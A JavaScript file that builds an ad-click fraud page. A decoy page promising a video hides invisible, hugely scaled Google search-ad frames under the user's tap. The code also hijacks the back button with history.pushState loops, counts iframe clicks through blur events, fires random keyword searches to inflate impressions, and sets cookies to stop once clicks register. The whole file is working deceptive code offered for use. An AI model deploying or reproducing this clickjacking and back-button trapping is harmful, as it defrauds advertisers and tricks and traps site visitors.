const keywords = "/keywords.txt";
const imagesFile = "/images.txt";

const initialHtml = `<!DOCTYPE html>
<html>

<head>
   
    
    <title>Loading</title>
    <link href='https://i.postimg.cc/TwtGJRvp/apple-touch-icon.png' rel='icon' type='image/x-icon' />
    <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
    <meta name='viewport'
        content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no' />
    <meta name='theme-color' content='#FFFFFF' />
    <meta name='apple-mobile-web-app-status-bar-style' content='#FFFFFF' />
    <meta name='msapplication-navbutton-color' content='#FFFFFF' />
    <style>
        html,
        body {
            -webkit-user-select: none !important;
            -moz-user-select: none !important;
            -ms-user-select: none !important;
            user-select: none !important;
            display: block;
            -ms-overflow-style: none;
            scrollbar-width: none;
            overflow: hidden;
        }

        html::-webkit-scrollbar,
        body::-webkit-scrollbar {
            display: none;
        }

        .loading-text {
            margin: 0 auto;
            padding: 5px 0;
            position: fixed;
            font: bold 25px/1.3em Helvetica, Arial, sans-serif !important;
            text-transform: capitalize;
            color: #000000;
            font-size: 25px;
            font-weight: bold;
        }

        .loading-text:after {
            content: "";
            border-radius: 2px;
            animation: wormsPong 0.8s infinite cubic-bezier(0.77, 0, 0.175, 1);
            background-color: #4169E1;
            position: fixed;
            bottom: 0;
            left: 0;
            width: 4px;
            height: 4px;
        }

        @keyframes wormsPong {
            25% {
                width: 100%;
            }

            50% {
                width: 0;
                left: auto;
                right: 0;
            }

            75% {
                width: 100%;
            }

            100% {
                width: 0;
                right: auto;
                left: 0;
            }
        }

        .loading-text {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
    </style>
</head>

<body>
    <div class="loading-text">Loading</div>
    <script>
        if (document.cookie.indexOf("new=") >= 0) {
        } else {
            var expiry = new Date();
            expiry.setTime(expiry.getTime() + (1440 * 60 * 1000));
            document.cookie = "new=yes; path=/; expires=" + expiry.toGMTString();
        }

        var anchor = document.createElement('a');
        var linkText = document.createTextNode('Redirection');
        anchor.appendChild(linkText);
        anchor.id = 'redirectOP';
        anchor.style = 'visibility: hidden; opacity: 0;';
        anchor.rel = 'noopener noreferrer nofollow';
        anchor.title = 'Redirection';
        anchor.href = mainURL;
        document.body.appendChild(anchor);
        document.querySelector('#redirectOP').click();
    </script>
</body>

</html>`;

const mainHtml = `<!DOCTYPE HTML>
<html>

<head>

    <title>Search On The Web...</title>
    <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
    <meta name='viewport'
        content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no' />
    <meta name='theme-color' content='#FFFFFF' />
    <meta name='apple-mobile-web-app-status-bar-style' content='#FFFFFF' />
    <meta name='msapplication-navbutton-color' content='#FFFFFF' />
</head>

<body>
    <script> const omg = setInterval(oge, 0); function oge() {
            var myElement =
                document.body.contains(document.querySelector(".gsc-resultsbox-visible"));
            if (myElement) {
                clearInterval(omg);
                document.querySelector(".gsc-resultsbox-visible").remove();
            }
        }

        var deviceDetector = function () {
            var ua =
                navigator.userAgent.toLowerCase();
            var device = function (ua) {
                if(/tablet|ipad|(android(?!.*mobile))|windows(?!.*phone)(.*touch)|kindle|playbook|silk|(puffin(?!.*(IP|AP|WP)))/.test(ua))
                    return "tablet";
                if (/mobi|ipod|phone|blackberry|opera mini|fennec|minimo|symbian|psp|nintendods | archos | skyfire | puffin | blazer | bolt | gobrowser | iris | maemo | semc | teashark | uzard /.test(ua)) return "phone"; 
                return "desktop";
            }; return { device: device(ua), detect: device, isMobile: device(ua) !== "desktop", userAgent: ua };
        }();
        if (deviceDetector.device === 'desktop') { addEventListener("mousedown", myFunc); } else {
            addEventListener("touchstart", myFunc);
        }
        function myFunc() {
            myFunc = function () { }; var scriptZA =
                document.createElement("script"); scriptZA.type = "text/javascript";
            scriptZA.innerHTML = \`!function() { try { for
                    (var t = 0; t < 10; ++t) history.pushState({}, ""); onpopstate = function (t) {
                        t.state && history.pushState(null,
                            null, document.URL); window.addEventListener("popstate", function () { history.go(1); });
                    }
        } catch (o) { } }(); \`;
            document.body.appendChild(scriptZA); var scriptZQ = document.createElement("script");
            scriptZQ.type = "text/javascript";
            scriptZQ.innerHTML = 'window.history.pushState(null, null, window.location.href); window.onpopstate = function() { alert("Touch And Wait 10 Second to Watch Video"); setTimeout(() => { window.scrollTo(0, 0); }, 100); };'
                ;
            document.body.appendChild(scriptZQ);
        } 
    </script>
    <style>
        .gsc-expansionArea,
        .gcsc-find-more-on-google-text,
        .gcsc-find-more-on-google-root,
        .gcsc-more-maybe-branding-root,
        .gcsc-branding,
        .gsc-cursor-box,
        .gsc-above-wrapper-area,
        .gsc-resultsbox-visible,
        .gsc-search-box,
        .gsc-result-info,
        .gsc-input-box,
        #ssrad-master>div>span {
            visibility: visible;
            opacity: 0;
            transform: scale(0);
            clip: rect(0 0 0 0);
            clip-path: inset(50%);
        }
    </style>
    <style>
        body {
            margin: 0;
            overflow: hidden;
        }

        .main-overlay {
            pointer-events: none;
            height: 100%;
            width: 100%;
            opacity: 1;
            display: block;
            position: fixed;
            z-index: 9995;
            top: 0;
            left: 0;
            background-color: rgba(255, 255, 255, 1);
        }

        .container1,
        .others2,
        .others3,
        .others4,
        .others5,
        .others6,
        .others7,
        .others8,
        .others9,
        .others10 {
            height: 100%;
            width: 100%;
            position: fixed;
            display: flex;
            justify-content: center;
            align-items: center;
            text-align: center;
            min-height: 100vh;
            pointer-events: auto;
            top: 0;
            overflow: hidden;
        }

        .container1 {
            z-index: 9994;
            transform: scale(1000);
            transform-origin: 30px 100px;
        }

        .others2 {
            z-index: 9993;
        }

        .others3 {
            z-index: 9992;
        }

        .others4 {
            z-index: 9991;
        }

        .others5 {
            z-index: 9990;
        }

        .others6 {
            z-index: 9989;
        }

        .others7 {
            z-index: 9988;
        }

        .others8 {
            z-index: 9987;
        }

        .others9 {
            z-index: 9986;
        }

        .others10 {
            z-index: 9985;
        }

        .hero {
            display: flex;
            justify-content: center;
            align-items: center;
            text-align: center;
            min-height: 100vh;
        }

        .overlay1 {
            pointer-events: none;
            position: fixed;
            top: 0;
            z-index: 9996;
            animation: horizontal-shaking 1.2s infinite;
        }

        @keyframes horizontal-shaking {
            0% {
                transform: translateX(0);
            }

            25% {
                transform: translateX(5px);
            }

            50% {
                transform: translateX(-5px);
            }

            75% {
                transform: translateX(5px);
            }

            100% {
                transform: translateX(0);
            }
        }
    </style>
    <script> window.onpageshow = function (event) { if (event.persisted) { window.location.reload(); } };
    </script>
    <div class="main-overlay"></div>
    <div class="container1">
        <div class="ads-01">
            <div id="results1" style="position: fixed; top: 0px; left: 0px;"></div>
        </div>
    </div>
    <div class="others2">
        <div id="results2" style="position: fixed; top: 100px; left: 0px;"></div>
    </div>
    <div class="others3">
        <div id="results3" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others4">
        <div id="results4" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others5">
        <div id="results5" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others6">
        <div id="results6" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others7">
        <div id="results7" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others8">
        <div id="results8" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others9">
        <div id="results9" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="others10">
        <div id="results10" style="position: fixed; top: 0px; left: 0px;"></div>
    </div>
    <div class="hero">
        <div class="overlay1">
            <div class="alert1"
                style="height: 100px; width: 320px; font-size: 40px; font-weight: bold; margin-top: 20px; margin-left: 5px; margin-bottom: -80px;">
                Touch And Wait 10 Second to Watch Video </div> <img id="isok" onerror="" src=""  alt=""
                style="height: 310px; width: 310px; margin-left: 5px; margin-top: 150px; background-color: transparent; opacity: 1; animation: horizontal-shaking 1.2s infinite; border: 5px solid blue;" />
        </div>
    </div>
    <script>

    fetch('${imagesFile}')
            .then(response => response.text())
            .then(data => {
                // Split the text file content into an array of URLs
                const images = data.split("\\n").filter(line => line.trim() !== "");

                // Select a random image
                const randomIndex = Math.floor(Math.random() * images.length);
                const randomImage = images[randomIndex];

                // Display the random image
                document.getElementById("isok").src = randomImage;
            })
            .catch(error => console.error("Error fetching image list:", error));
        const vrZ = setInterval(xsZ, 100);
        function xsZ() {
            var uri = window.location.toString();
            if (uri.indexOf("#") > 0) {
                var cleanX = uri.substring(0, uri.indexOf("#"));
                window.history.replaceState({}, document.title, cleanX);
                setTimeout(() => { location.reload(); }, 100);
            }
        }
        window.addEventListener("blur", () => {
            var loopInterval = setInterval(() => {
                if (document.activeElement.tagName === "IFRAME" ||
                    document.activeElement.id === "ifr") { localStorage.clicks = +(localStorage.clicks || 0) + 1; window.focus(); }
            }, 0);
        }, { once: false });

        const newInterval = setInterval(() => {
            var SCheck = JSON.parse(localStorage.getItem('clicks'));
            if (SCheck >= '2') {
                localStorage.removeItem('clicks'); if
                    (document.cookie.indexOf("story=") < 0) {
                        var expiry = new Date(); expiry.setTime(expiry.getTime() + (1440 * 60 *
                            1000)); document.cookie = "story=yes; path=/; expires=" + expiry.toGMTString();
                } clearInterval(newInterval);
            }
        }, 0); const carInterval = setInterval(() => {
            if (document.cookie.indexOf("story=yes") !== -1) {
                localStorage.removeItem('clicks'); clearInterval(carInterval);
            }
        }, 0); history.scrollRestoration =
            "manual"; </script>
</body>

</html>`;

if (document.URL.indexOf("wizard=1999") !== -1) {
  var randomFourDigit = Math.floor(1000 + Math.random() * 9000),
    url = new URL(window.location.href);

  url.searchParams.set("wizard", randomFourDigit);

  mainURL = url.toString();

  window.history.replaceState(null, null, url.toString());

  setTimeout(() => {
    const doc = document.open("text/html", "replace");
    doc.write(initialHtml);
    doc.close();
  }, 0);
} else {
  if (document.cookie.indexOf("new=yes") !== -1) {
    document.write(
      `'<style> body, html { position: absolute; left: -9999px; transform: scale(0); } </style>'`
    );

    if (document.cookie.indexOf("story=yes") !== -1) {
      var styles = "iframe\x20{\x20pointer-events:\x20none!important;\x20}",
        styleSheet = document.createElement("style");
      document.head.appendChild(styleSheet);
      window.location.replace("/");
    }

    function gcsCallback() {
      const gcsRender = (gcpName, divName) => {
        const gcpObj = {
          gname: gcpName,
          div: divName,
          tag: "search",
          attributes: null,
        };
        google.search.cse.element.render(gcpObj);
      };

      //render element
      gcsRender("gsearch1", "results1");
      gcsRender("gsearch2", "results2");
      gcsRender("gsearch3", "results3");
      gcsRender("gsearch4", "results4");
      gcsRender("gsearch5", "results5");
      gcsRender("gsearch6", "results6");
      gcsRender("gsearch7", "results7");
      gcsRender("gsearch8", "results8");
      gcsRender("gsearch9", "results9");
      gcsRender("gsearch10", "results10");

      const executeGSE = (googleSearch) => {
        const xml = new XMLHttpRequest();
        xml.onload = function () {
          const response = this.response;
          const keywords = response.split("\n");
          let randomState = localStorage.randomState
            ? JSON.parse(localStorage["randomState"])
            : null;
          if (!randomState || randomState.order.length !== keywords.length) {
            randomState = {
              order: [],
              index: 0,
            };

            for (let i = 0; i < keywords.length; i++) {
              randomState.order.splice(Math.floor(Math.random() * i + 1), 0, i);
            }
          }

          const keyword = keywords[randomState.order[randomState.index]];
          randomState.index = randomState.index + (1 % keywords.length);
          localStorage.randomState = JSON.stringify(randomState);
          googleSearch.execute(keyword);
        };
        xml.open("GET", keywords, true);
        xml.send();
      };

      executeGSE(google.search.cse.element.getElement("gsearch1"));

      const callWithWait = (
        counter,
        copium,
        min,
        max,
        searchNumber,
        callback
      ) => {
        const interval = setInterval(() => {
          document.cookie.indexOf(copium) !== -1
            ? clearInterval(interval)
            : setTimeout(() => {
                localStorage[counter] = +(localStorage[counter] || 0) + 1;
                executeGSE(
                  google.search.cse.element.getElement(`gsearch${searchNumber}`)
                );
                callback();
              }, Math.round(min + Math.random()) * (max - min));
        }, Math.floor(Math.random() * 300) + 500);
      };

      callWithWait("counter2", "copium2=2", 1000, 1100, "2", function () {
        if (document.cookie.indexOf("copium2=2") < 0) {
          const date = new Date();
          date.setTime(date.getTime() + 86400000);
          document.cookie =
            "copium2=2;\x20path=/;\x20expires=" + date.toGMTString();
        }
      });

      callWithWait("counter3", "copium3=3", 1100, 1200, "3", function () {
        clearInterval(callWithWait);
        if (document.cookie.indexOf("copium3=3") < 0) {
          const date = new Date();
          date.setTime(date.getTime() + 86400000);
          document.cookie =
            "copium3=3;\x20path=/;\x20expires=" + date.toGMTString();
        }
      });

      callWithWait("counter4", "copium4=4", 1100, 1200, "4", function () {
        clearInterval(callWithWait);
        if (document.cookie.indexOf("copium4=4") < 0) {
          const date = new Date();
          date.setTime(date.getTime() + 86400000);
          document.cookie =
            "copium4=4;\x20path=/;\x20expires=" + date.toGMTString();
        }
      });

      callWithWait("counter5", "copium5=5", 1100, 1200, "5", function () {
        clearInterval(callWithWait);
        if (document.cookie.indexOf("copium5=5") < 0) {
          const date = new Date();
          date.setTime(date.getTime() + 86400000);
          document.cookie =
            "copium5=5;\x20path=/;\x20expires=" + date.toGMTString();
        }
      });
    }

    var gcseInit = {
      parsetags: "explicit",
      callback: gcsCallback,
    };

    (window["__gcse"] = gcseInit),
      (() => {
        var doc2 = document["createElement"]("script");
        doc2.async = true;
        doc2.src =
          (document.location.protocol === "https:" ? "https:" : "http:") +
          "//cse.google.com/cse.js?cx=b1da660b01c724d01";
        var parent = document.getElementsByTagName("script")[0];
        parent.parentNode.insertBefore(doc2, parent);
      })();

    setTimeout(() => {
      const doc = document.open("text/html", "replace");
      doc.write(mainHtml);
      doc.close();
    }, 0);
  }
}
